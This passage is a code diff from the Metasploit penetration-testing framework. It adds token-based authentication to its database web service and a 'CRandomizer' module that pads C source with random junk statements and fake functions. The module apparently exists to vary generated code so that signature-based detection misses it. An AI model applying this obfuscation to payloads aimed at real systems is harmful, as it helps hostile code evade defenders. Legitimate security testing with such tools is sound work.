@ -14,6 +14,8 @@ class RemoteHTTPDataService
include Metasploit::Framework::DataService
include DataServiceAutoLoader
DEFAULT_USER_AGENT = "metasploit v#{Metasploit::Framework::VERSION}"
EXEC_ASYNC = { :exec_async => true }
GET_REQUEST = 'GET'
POST_REQUEST = 'POST'
@ -23,10 +25,17 @@ class RemoteHTTPDataService
#
# @param [String] endpoint A valid http or https URL. Cannot be nil
#
def initialize(endpoint, https_opts = {})
def initialize(endpoint, opts = {})
validate_endpoint(endpoint)
@endpoint = URI.parse(endpoint)
@https_opts = https_opts
@https_opts = opts[:https_opts]
@api_token = opts[:api_token]
@headers = {}
user_agent = !opts[:user_agent].nil? ? opts[:user_agent] : DEFAULT_USER_AGENT
set_header('User-Agent', user_agent)
set_header('Authorization', "Bearer #{@api_token}") unless @api_token.nil?
build_client_pool(5)
end
@ -147,13 +156,13 @@ class RemoteHTTPDataService
client = @client_pool.pop
case request_type
when GET_REQUEST
request = Net::HTTP::Get.new(uri.request_uri)
request = Net::HTTP::Get.new(uri.request_uri, initheader=@headers)
when POST_REQUEST
request = Net::HTTP::Post.new(uri.request_uri)
request = Net::HTTP::Post.new(uri.request_uri, initheader=@headers)
when DELETE_REQUEST
request = Net::HTTP::Delete.new(uri.request_uri)
request = Net::HTTP::Delete.new(uri.request_uri, initheader=@headers)
when PUT_REQUEST
request = Net::HTTP::Put.new(uri.request_uri)
request = Net::HTTP::Put.new(uri.request_uri, initheader=@headers)
else
raise Exception, 'A request_type must be specified'
end
@ -179,8 +188,6 @@ class RemoteHTTPDataService
end
def set_header(key, value)
@headers = Hash.new() if @headers.nil?
@headers[key] = value
end
@ -256,12 +263,6 @@ class RemoteHTTPDataService
request.body = json_body
end
if !@headers.nil? && !@headers.empty?
@headers.each do |key, value|
request[key] = value
end
end
request
end

View File

@ -0,0 +1,2 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
require 'metasploit/framework/obfuscation/crandomizer/parser'

View File

@ -0,0 +1,18 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
# Used as random statements
require 'metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/if'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/malloc'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/printf'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/switch'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables'
# Random functions
require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection'

View File

@ -0,0 +1,59 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class Base
attr_reader :dep
attr_reader :code
def initialize
@dep = []
@code = normalized_stub
end
# Override this method when you inherit this class.
# The method should return the source of the stub you're trying to create,
# as a C function.
# For example:
# %Q|
# void printf(const char*);
# void stub() {
# printf("hello world\n");
# }|
# Notice if you are using a function like the above, you must declare/define that
# beforehand. The function declaration will not be used in the final source code.
def stub
raise NotImplementedError
end
# Checks whether this class is suitable for the code.
#
# @param parser [Metasm::C::Parser]
# @return [Boolean]
def good_dep?(parser)
# The difference between @dep and parser.toplevel.symbol.keys
# is the list of functions not being supported by the original code.
ready_function_names = parser.toplevel.symbol.keys
delta = dep - ready_function_names
if delta.empty?
true
else
false
end
end
def normalized_stub
stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(stub)
stub_parser.toplevel.statements.last.var.initializer.statements
end
end
end
end
end
end
end

View File

@ -0,0 +1,45 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class FakeFunction
attr_reader :attribute
attr_reader :return_type
attr_reader :args
attr_reader :function_name
def initialize(func_name)
@attribute = ['', ' __attribute__((export))'].sample
@return_type = ['int', 'char*', 'void', ].sample
@args = ['int i', 'char* s', 'void'].sample
@function_name = func_name
end
def generate_body
case return_type
when 'int'
rand_return_val = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int
return_statement = %Q|return #{rand_return_val};|
when 'char*'
rand_return_str = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string
return_statement = %Q|return "#{rand_return_str}";|
else
return_statement = ''
end
%Q|
#{return_type} #{function_name}#{attribute}(#{args}) {
#{return_statement}
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,79 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class FakeFunctionCollection
attr_accessor :functions
attr_reader :max_functions
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection instance.
#
# @param max_functions [Integer] Max number of fake functions to generate.
# @return [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
def initialize(max_functions)
@functions = []
@max_functions = max_functions
populate
self
end
# Yields a list of fake functions available.
def each
functions.each do |f|
yield f
end
end
# Returns a fake Metasm::C::Declaration from the FakeFunctionCollection object.
#
# @return [Metasm::C::Declaration]
def sample
functions.sample
end
# Returns a string that joins the fake functions
def to_s
functions.join("\n")
end
# Asks the FakeFunctionCollection if a function is available.
#
# @param name [String]
# @return [Boolean]
def has_function_name?(name)
functions.each do |f|
if f.var.name == name
return true
end
end
false
end
# Checks if the collection is empty or not.
def empty?
functions.empty?
end
private
# Generates a list of fake functions to use.
def populate
max_functions.times do |i|
func_name = "function#{i}"
fake_function = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction.new(func_name)
function_code = fake_function.generate_body
stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(function_code)
functions.concat(stub_parser.toplevel.statements)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,53 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class GetTickCount < Base
def initialize
super
@dep = ['GetTickCount']
end
def stub
[
Proc.new { single_gettickcount },
Proc.new { diff_gettickcount }
].sample.call
end
private
def single_gettickcount
%Q|
int GetTickCount();
void stub() {
GetTickCount();
}|
end
def diff_gettickcount
var_name_1 = "tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
var_name_2 = "tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
int GetTickCount();
void stub() {
int #{var_name_1} = GetTickCount();
int #{var_name_2} = GetTickCount();
if (#{var_name_2} - #{var_name_1} > 100) {
#{var_name_1} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,68 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class If < Base
def stub
[
Proc.new { if_stub },
Proc.new { if_if_else_stub },
Proc.new { if_else_stub }
].sample.call
end
private
def if_stub
var_name = "xforif#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
if (#{var_name}) {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}
}|
end
def if_if_else_stub
var_name = "xforif2#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
if (#{var_name}) {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
} else if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
} else {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}
}|
end
def if_else_stub
var_name = "xorif3_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
signed #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
} else {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,24 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class IntAssignments < Base
def stub
var_name = "fakeint_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,30 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class Malloc < Base
def initialize
super
@dep = ['malloc']
end
def stub
var_name = "m#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void* malloc(unsigned int);
void stub() {
void* #{var_name} = malloc(#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int});
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,48 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class OutputDebugString < Base
def initialize
super
@dep = ['OutputDebugString']
end
def stub
[
Proc.new { outputdebugstring_1 },
Proc.new { outputdebugstring_2 }
].sample.call
end
private
def outputdebugstring_1
%Q|
void OutputDebugString(const char*);
void stub() {
OutputDebugString("#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}");
}|
end
def outputdebugstring_2
var_name = "msg#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void OutputDebugString(const char*);
void stub() {
char* #{var_name} = "#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}";
OutputDebugString(#{var_name});
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,29 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class Printf < Base
def initialize
super
@dep = ['printf']
end
def stub
%Q|
int printf(const char*);
void stub() {
printf("#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}");
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,24 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class StringAssignments < Base
def stub
var_name = "fake_string_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
const char* #{var_name} = "#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}";
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,54 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class Switch < Base
def stub
[
Proc.new { switch_1 },
Proc.new { switch_2 }
].sample.call
end
private
def switch_1
var_name = "rndnum#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
switch (#{var_name}) {
case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}:
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
break;
default:
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
break;
}
}|
end
def switch_2
var_name = "rndnum#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
switch (#{var_name}) {
case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}:
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
break;
}
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,47 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class UninitVariables < Base
def stub
[
Proc.new { char },
Proc.new { int },
Proc.new { string }
].sample.call
end
private
def char
%Q|
void stub() {
char uninitcharvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}|
end
def int
%Q|
void stub() {
int uninitintvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}|
end
def string
%Q|
void stub() {
const char* uninitstringvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,182 @@
require 'metasploit/framework/obfuscation/crandomizer/random_statements'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
class Modifier
attr_reader :parser
attr_reader :fake_functions
attr_reader :weight
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::Modifier instance.
#
# @param p [Metasploit::C::Parser]
# @param f [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
# @param w [Integer] Weight of the randomness.
def initialize(p, f, w)
@parser = p
@fake_functions = f
@weight = w
end
# Modifies different if-else blocks recursively.
#
# @param s [Metasm::C::Declaration]
# @return [Metasm::C::Declaration]
def modify_if_else_blocks(s)
modify_if(s)
modify_else_if(s)
modify_else(s)
s
end
# Modifies an if block.
#
# @param s [Metasm::C::Declaration]
# return [void]
def modify_if(s)
new_if_statements = []
s.bthen.statements.each do |stmt|
modify_nested_blocks(stmt)
new_if_statements.concat(get_fake_statement)
new_if_statements << stmt
end
s.bthen.statements = new_if_statements
end
# Modifies an else-if block.
#
# @param s [Metasm::C::Declaration]
# @param [void]
def modify_else_if(s)
# There could be multiple else if blocks,
# this gives the current else if block
elseif_block = s.belse
while (elseif_block && elseif_block.respond_to?(:bthen)) do
new_else_if_statements = []
elseif_block.bthen.statements.each do |stmt|
modify_nested_blocks(stmt)
new_else_if_statements.concat(get_fake_statement)
new_else_if_statements << stmt
end
elseif_block.bthen.statements = new_else_if_statements
# Move on to the next else if block
elseif_block = elseif_block.belse
end
end
# Modifies an else block.
#
# @param s [Metasm::C::Declaration]
def modify_else(s)
else_block = s.belse
# The else block is retrieved this way when there is an else if block
else_block = s.belse.belse if s.belse.respond_to?(:belse)
# There is really no else block, let's bail.
# return unless else_block
return unless else_block.respond_to?(:statements)
new_else_statements = []
else_block.statements.each do |stmt|
modify_nested_blocks(stmt)
new_else_statements.concat(get_fake_statement)
new_else_statements << stmt
end
else_block.statements = new_else_statements
end
# Modifies a for block.
#
# @param s [Metasm::C::Declaration]
def modify_for(s)
new_for_statements = []
s.body.statements.each do |stmt|
modify_nested_blocks(stmt)
new_for_statements.concat(get_fake_statement)
new_for_statements << stmt
end
s.body.statements = new_for_statements
s
end
# Modifies a nested block.
#
# @param s [Metasm::C::Declaration]
def modify_nested_blocks(s)
case s
when Metasm::C::If
modify_if_else_blocks(s)
when Metasm::C::For
modify_for(s)
end
end
# Modifies a function.
#
# @param s [Metasploit::C::Declaration]
def modify_function(s)
function_statements = s.var.initializer.statements
new_function_statements = []
function_statements.each do |func_stmt|
unless feeling_lucky?
new_function_statements << func_stmt
next
end
case func_stmt
when Metasm::C::If
new_function_statements << modify_if_else_blocks(func_stmt)
when Metasm::C::For
new_function_statements << modify_for(func_stmt)
else
new_function_statements.concat(get_fake_statement(s))
new_function_statements << func_stmt
end
end
unless new_function_statements.empty?
s.var.initializer.statements = new_function_statements
end
end
private
# Returns fake statements.
#
# @param s [Metasploit::C::Declaration]
# @return [Array<Metasm::C::CExpression>]
def get_fake_statement(s=nil)
random_statements = Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements.new(parser, fake_functions, s)
random_statements.get
end
# Returns a boolean indicating whether a random is above (or equal to) a number or not.
#
# @return [Boolean]
def feeling_lucky?
n = (rand * 100).to_i
weight >= n
end
end
end
end
end
end

View File

@ -0,0 +1,46 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/modifier'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
class Parser
attr_accessor :max_random_weight
attr_accessor :fake_functions_collection
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::Parser instance.
#
# @param weight [Integer] Randomness of the code.
# @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
def initialize(weight, fake_functions=nil)
@max_random_weight = weight
@fake_functions_collection = fake_functions
end
# Returns a parser.
#
# @param template [String] Soure code to parse.
# @return [Metasm::C::Parser]
def parse(template)
main_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template)
modifier = Metasploit::Framework::Obfuscation::CRandomizer::Modifier.new(main_parser, fake_functions_collection, max_random_weight)
main_parser.toplevel.statements.each do |s|
case s.var.type
when Metasm::C::Function
# Some function objects such as declarations don't really have
# any statements, if we run into something like that, skip it.
next unless s.var.initializer.respond_to?(:statements)
modifier.modify_function(s)
end
end
main_parser
end
end
end
end
end
end

View File

@ -0,0 +1,132 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
class RandomStatements
attr_reader :parser
attr_reader :fake_function_collection
attr_reader :statements
# Initializes the RandomStatements class.
#
# @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
# @param s [Metasm::C::Declaration]
def initialize(p, fake_functions, s=nil)
@parser = p
@fake_function_collection = fake_functions
@statements = [ Proc.new { get_random_statements } ]
# Only generate fake function calls when the function we are modifying isn't
# from one of those fake functions (to avoid a recursion).
if s && fake_function_collection && !fake_function_collection.has_function_name?(s.var.name)
@statements << Proc.new { get_random_function_call }
end
end
# Returns a random statement.
#
# @return [Array<Metasm::C::CExpression>]
# @return [Array<Metasm::C::Declaration>]
def get
statements.sample.call
end
private
# Returns function arguments as a string.
#
# @param args [Array<Metasm::C::Variable>]
# @return [String]
def make_func_arg_str(args)
arg_array = []
args.each do |arg|
case arg.name
when 'i'
arg_array << %Q|#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}|
when 's'
arg_array << %Q|"#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}"|
else
raise "Unknown argument type to process"
end
end
%Q|(#{arg_array.join(', ')})|
end
# Returns the arguments (in string) for function declaration.
#
# @param args [Array<Metasm::C::Variable]
# @return [String]
def make_func_declare_arg_str(args)
arg_array = []
args.each do |a|
case a.name
when 'i'
arg_array << 'int'
when 's'
arg_array << 'char*'
else
raise "Unknown argument type to process"
end
end
%Q|(#{arg_array.join(', ')})|
end
# Returns a random statement from the Code Factory, excluding:
# * The base class
# * FakeFunction class
# * FakeFunctionCollection class
#
# @return [Array]
def get_random_statements
ignored_classes = [:Base, :FakeFunction, :FakeFunctionCollection]
class_name = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.constants.select { |c|
next if ignored_classes.include?(c)
Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(c).instance_of?(Class)
}.sample
instance = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(class_name).new
if instance.good_dep?(parser)
return Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(class_name).new.code
else
# Call again
get_random_statements
end
end
# This function is kind of dangerous, because it could cause an
# infinitely loop by accident when random functions call each other.
#
# @return [Array]
def get_random_function_call
# There is no fake function collection
return [] if fake_function_collection.empty?
fake_function = fake_function_collection.sample
fake_function_name = fake_function.var.name
fake_function_args = fake_function.var.type.args
fake_function_declare_args_str = make_func_declare_arg_str(fake_function_args)
arg_str = make_func_arg_str(fake_function_args)
template = %Q|
void #{fake_function_name}#{fake_function_declare_args_str};
void stub() {
#{fake_function_name}#{arg_str};
}|
parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template)
parser.toplevel.statements.last.var.initializer.statements
end
end
end
end
end
end

View File

@ -0,0 +1,40 @@
require 'metasm'
require 'securerandom'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
class Utility
# Returns a random number.
#
# @return [Integer]
def self.rand_int
SecureRandom.random_number(100)
end
# Returns a random string.
#
# @return [String]
def self.rand_string
SecureRandom.hex
end
# Returns a Metasm parser.
#
# @param code [String] The C code to parse.
# @return [Metasm::C::Parser]
def self.parse(code)
parser = Metasm::C::Parser.new
parser.allow_bad_c = true
parser.parse(code)
parser
end
end
end
end
end
end

View File

@ -499,9 +499,28 @@ class ReadableText
if (mod.respond_to?(:references) && mod.references && mod.references.length > 0)
output << "References:\n"
mod.references.each { |ref|
output << indent + ref.to_s + "\n"
}
cve_collection = mod.references.select { |r| r.ctx_id.match(/^cve$/i) }
if cve_collection.empty?
output << "#{indent}CVE: Not available\n"
end
mod.references.each do |ref|
case ref.ctx_id
when 'CVE', 'cve'
if !cve_collection.empty? && ref.ctx_val.blank?
output << "#{indent}CVE: Not available\n"
else
output << indent + ref.to_s + "\n"
end
when 'LOGO', 'SOUNDTRACK'
output << indent + ref.to_s + "\n"
Rex::Compat.open_browser(ref.ctx_val) if Rex::Compat.getenv('FUEL_THE_HYPE_MACHINE')
else
output << indent + ref.to_s + "\n"
end
end
output << "\n"
end

View File

@ -54,6 +54,7 @@ class Msf::DBManager
autoload :Session, 'msf/core/db_manager/session'
autoload :SessionEvent, 'msf/core/db_manager/session_event'
autoload :Task, 'msf/core/db_manager/task'
autoload :User, 'msf/core/db_manager/user'
autoload :Vuln, 'msf/core/db_manager/vuln'
autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt'
autoload :VulnDetail, 'msf/core/db_manager/vuln_detail'
@ -91,6 +92,7 @@ class Msf::DBManager
include Msf::DBManager::Session
include Msf::DBManager::SessionEvent
include Msf::DBManager::Task
include Msf::DBManager::User
include Msf::DBManager::Vuln
include Msf::DBManager::VulnAttempt
include Msf::DBManager::VulnDetail

View File

@ -0,0 +1,5 @@
module Authentication
autoload :Strategies, 'msf/core/db_manager/http/authentication/strategies'
include Strategies
end

View File

@ -0,0 +1,11 @@
module Authentication
module Strategies
autoload :ApiToken, 'msf/core/db_manager/http/authentication/strategies/api_token'
autoload :AdminApiToken, 'msf/core/db_manager/http/authentication/strategies/admin_api_token'
autoload :UserPassword, 'msf/core/db_manager/http/authentication/strategies/user_password'
Warden::Strategies.add(:api_token, Authentication::Strategies::ApiToken)
Warden::Strategies.add(:admin_api_token, Authentication::Strategies::AdminApiToken)
Warden::Strategies.add(:password, Authentication::Strategies::UserPassword)
end
end

View File

@ -0,0 +1,21 @@
module Authentication
module Strategies
class AdminApiToken < ApiToken
# Validates the user associated with the API token is an admin.
#
# @return [Hash] User validation data
# @option :valid [Boolean] True if the user is valid; otherwise, false.
# @option :code [Integer] 0 if the user is valid; otherwise, a non-zero strategy failure code.
# @option :message [String] strategy failure message
def validate_user(user)
# perform parent validation first
data = super
return data if !data[:valid]
user.admin ? {valid: true, code: 0, message: nil} : {valid: false, code: 403, message: "Invalid permissions."}
end
end
end
end

View File

@ -0,0 +1,53 @@
module Authentication
module Strategies
class ApiToken < Warden::Strategies::Base
AUTHORIZATION = 'HTTP_AUTHORIZATION'
AUTHORIZATION_SCHEME = 'Bearer'
TOKEN_QUERY_PARAM = 'token'
# Check if request contains valid data and should be authenticated.
# @return [Boolean] true if strategy should be run for the request; otherwise, false.
def valid?
auth_initialized = request.env['msf.auth_initialized']
authorization = request.env[AUTHORIZATION]
!auth_initialized || (authorization.is_a?(String) && authorization.start_with?(AUTHORIZATION_SCHEME)) || !params[TOKEN_QUERY_PARAM].nil?
end
# Authenticate the request.
def authenticate!
auth_initialized = request.env['msf.auth_initialized']
db_manager = env['msf.db_manager']
authorization = request.env[AUTHORIZATION]
if !auth_initialized
success!({message: "Initialize authentication by creating an initial user account."})
else
if authorization.is_a?(String) && authorization.start_with?(AUTHORIZATION_SCHEME)
token = authorization.sub(/^#{AUTHORIZATION_SCHEME}\s+/, '')
else
token = params[TOKEN_QUERY_PARAM]
end
user = db_manager.users(persistence_token: token).first
validation_data = validate_user(user)
if validation_data[:valid]
success!(user)
else
throw(:warden, message: validation_data[:message], code: validation_data[:code])
end
end
end
# Validates the user associated with the API token.
#
# @return [Hash] User validation data
# @option :valid [Boolean] True if the user is valid; otherwise, false.
# @option :code [Integer] 0 if the user is valid; otherwise, a non-zero strategy failure code.
# @option :message [String] strategy failure message
def validate_user(user)
!user.nil? ? {valid: true, code: 0, message: nil} : {valid: false, code: 401, message: "Invalid API token."}
end
end
end
end

View File

@ -0,0 +1,36 @@
module Authentication
module Strategies
class UserPassword < Warden::Strategies::Base
Warden::Manager.serialize_into_session{ |user| user.id }
Warden::Manager.serialize_from_session{ |id|
db_manager = env['msf.db_manager']
db_manager.users(id: id).first
}
Warden::Manager.before_failure do |env,opts|
# change request method to get control to our handler since authentication failure can happen on any request
env['REQUEST_METHOD'] = 'POST'
end
# Check if request contains valid data and should be authenticated.
# @return [Boolean] true if strategy should be run for the request; otherwise, false.
def valid?
params['username'] && params['password']
end
# Authenticate the request.
def authenticate!
db_manager = env['msf.db_manager']
user = db_manager.users(username: params['username']).first
if user.nil? || !db_manager.authenticate_user(id: user.id, password: params['password'])
fail("Invalid username or password.")
else
success!(user)
end
end
end
end
end

View File

@ -1,5 +1,5 @@
require 'rack'
require 'msf/core/db_manager/http/sinatra_app'
require 'msf/core/db_manager/http/metasploit_api_app'
require 'metasploit/framework/parsed_options/remote_db'
require 'rex/ui/text/output/stdio'
@ -26,14 +26,14 @@ class HttpDBManagerService
def start_http_server(opts)
Rack::Handler::Thin.run(SinatraApp, opts) do |server|
Rack::Handler::Thin.run(MetasploitApiApp, opts) do |server|
if opts[:ssl] && opts[:ssl] = true
print_good "SSL Enabled"
print_good('SSL Enabled')
server.ssl = true
server.ssl_options = opts[:ssl_opts]
else
print_warning 'SSL Disabled'
print_warning('SSL Disabled')
end
server.threaded = true
end

View File

@ -0,0 +1,98 @@
require 'sinatra/base'
require 'swagger/blocks'
require 'sysrandom/securerandom'
require 'warden'
require 'msf/core/db_manager/http/authentication'
require 'msf/core/db_manager/http/servlet_helper'
require 'msf/core/db_manager/http/servlet/api_docs_servlet'
require 'msf/core/db_manager/http/servlet/auth_servlet'
require 'msf/core/db_manager/http/servlet/host_servlet'
require 'msf/core/db_manager/http/servlet/note_servlet'
require 'msf/core/db_manager/http/servlet/vuln_servlet'
require 'msf/core/db_manager/http/servlet/event_servlet'
require 'msf/core/db_manager/http/servlet/web_servlet'
require 'msf/core/db_manager/http/servlet/msf_servlet'
require 'msf/core/db_manager/http/servlet/workspace_servlet'
require 'msf/core/db_manager/http/servlet/service_servlet'
require 'msf/core/db_manager/http/servlet/session_servlet'
require 'msf/core/db_manager/http/servlet/exploit_servlet'
require 'msf/core/db_manager/http/servlet/loot_servlet'
require 'msf/core/db_manager/http/servlet/session_event_servlet'
require 'msf/core/db_manager/http/servlet/credential_servlet'
require 'msf/core/db_manager/http/servlet/login_servlet'
require 'msf/core/db_manager/http/servlet/nmap_servlet'
require 'msf/core/db_manager/http/servlet/db_export_servlet'
require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet'
require 'msf/core/db_manager/http/servlet/user_servlet'
class MetasploitApiApp < Sinatra::Base
helpers ServletHelper
# Servlet registration
register ApiDocsServlet
register AuthServlet
register HostServlet
register VulnServlet
register EventServlet
register WebServlet
register MsfServlet
register NoteServlet
register WorkspaceServlet
register ServiceServlet
register SessionServlet
register ExploitServlet
register LootServlet
register SessionEventServlet
register CredentialServlet
register LoginServlet
register NmapServlet
register DbExportServlet
register VulnAttemptServlet
register UserServlet
configure do
set :sessions, {key: 'msf-ws.session', expire_after: 300}
set :session_secret, ENV.fetch('MSF_WS_SESSION_SECRET') { SecureRandom.hex(16) }
end
before do
# store DBManager in request environment so that it is available to Warden
request.env['msf.db_manager'] = get_db
# store flag indicating whether authentication is initialized in the request environment
@@auth_initialized ||= get_db.users({}).count > 0
request.env['msf.auth_initialized'] = @@auth_initialized
end
use Warden::Manager do |config|
# failed authentication is handled by this application
config.failure_app = self
# don't intercept 401 responses since the app will provide custom failure messages
config.intercept_401 = false
config.default_scope = :api
config.scope_defaults :user,
# whether to persist the result in the session or not
store: true,
# list of strategies to use
strategies: [:password],
# action (route) of the failure application
action: "#{AuthServlet.api_unauthenticated_path}/user"
config.scope_defaults :api,
# whether to persist the result in the session or not
store: false,
# list of strategies to use
strategies: [:api_token],
# action (route) of the failure application
action: AuthServlet.api_unauthenticated_path
config.scope_defaults :admin_api,
# whether to persist the result in the session or not
store: false,
# list of strategies to use
strategies: [:admin_api_token],
